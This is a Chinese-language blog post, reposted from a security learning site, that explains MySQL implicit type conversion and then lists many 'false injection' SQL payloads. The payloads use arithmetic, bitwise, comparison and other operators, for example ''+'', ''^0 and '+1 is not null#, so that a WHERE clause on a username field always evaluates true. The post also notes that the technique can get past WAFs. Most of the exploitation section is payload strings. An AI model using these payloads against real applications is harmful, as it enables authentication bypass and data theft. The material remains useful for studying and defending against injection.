MYZ's Blog.

MySql隐式类型转换

字数统计: 877阅读时长: 3 min
2017/09/07 Share

转载自:http://bobao.360.cn/learning/detail/3804.html

MYSQL隐式类型转换

  • 如果两个参数比较,有至少一个NULL,结果就是NULL,除了是用NULL<=>NULL 会返回1。不做类型转换
  • 两个参数都是字符串,按照字符串比较。不做类型转换
  • 两个参数都是整数,按照整数比较。不做类型转换
  • 如果不与数字进行比较,则将十六进制值视为二进制字符串。
  • 有一个参数是 TIMESTAMP 或 DATETIME,并且另外一个参数是常量,常量会被转换为时间戳
  • 有一个参数是 decimal 类型,如果另外一个参数是 decimal 或者整数,会将整数转换为 decimal 后进行比较,如果另外一个参数是浮点数,则会把 decimal 转换为浮点数进行比较
  • 所有其他情况下,两个参数都会被转换为浮点数再进行比较

最后那一句话很重要,说明如果我是字符串和数字比较,需要将字符串转为浮点数,这很明显会转换失败
在这里我试了试如果是字符串和数字比较:

可以看到在进行类型转换的时候,将字符串转换的时候会产生一个warning,转换的结果为0,但是如果字符串开头是数字的时候还是会从数字部分截断,转换为数字。
现在可以很好理解开头说的为什么username=0会导致返回数据了,就是因为这里会将数据转换为浮点数比较,但是字符串转换会出问题,从而返回0使得0=0从而为true得到结果,而后面passwd查询少一组数据的原因就是admin的passwd字段第一个字符是2 从而返回2 并非为0。

利用

算术运算

加:+

1
playload: where username=''+'';

减: -

1
playload: where username=''-'';

乘:*

1
playload: where username=''*'';

除:/

1
playload: where username=''/6;

取余:%

1
playload: where username=''%1;

说明:之前有个错误的观念:认为先是username和’’进行比较.通过测试userid=1+2;发现是1+2之后的值在与userid比较的.还有一点,这里的playload仅限于username是字符串,如果是数字那就不行.
它的比较方法是’’+’’比较,返回是0.然后就是where username=0来做比较.所以这里也可以解释如果是userid 明显是不对的.

位操作运算

我们可以使用当字符串和数字运算的时候类型转换的问题进行利用
我们可以用的位运算符有:

和运算:

1
playload: where username=''&0;

或运算:|

1
playload: where username=''|0;

异或运算:^

1
playload: where username=''^0;

移位操作:

1
playload: where username='<<0 或者'>>0;

注:上面这两种有局限性,如果是userid 这种数字类型的就不起作用了。
而下面这些方法既可以用于字符串类型也可以用于数字类型。

比较运算符

安全等于:<=>

1
playload:where username=''=0<=>1

不等于<>(!=)

1
playload:where username=''=0<>

大小于>或<

1
playload:where username=''>-1

其他

is not null

1
2
3
4
5
6
7
8
9
10
11
playload:where username='' is not null;

'+1 is not null#
'in(-1,1)#
'not in(1,0)#
'like 1#
'REGEXP 1#
'BETWEEN 1 AND 1#
'div 1# 'xor 1#
'=round(0,1)='1
'<>ifnull(1,2)='1

false注入这种注入方式有的优势就是,在某些特定时候可以绕过WAF或者是一些其他的绕过。
上面的链接有一道例子,可以看看

CATALOG
  1. 1. MYSQL隐式类型转换
  2. 2. 利用
    1. 2.1. 算术运算
    2. 2.2. 位操作运算
    3. 2.3. 比较运算符
    4. 2.4. 其他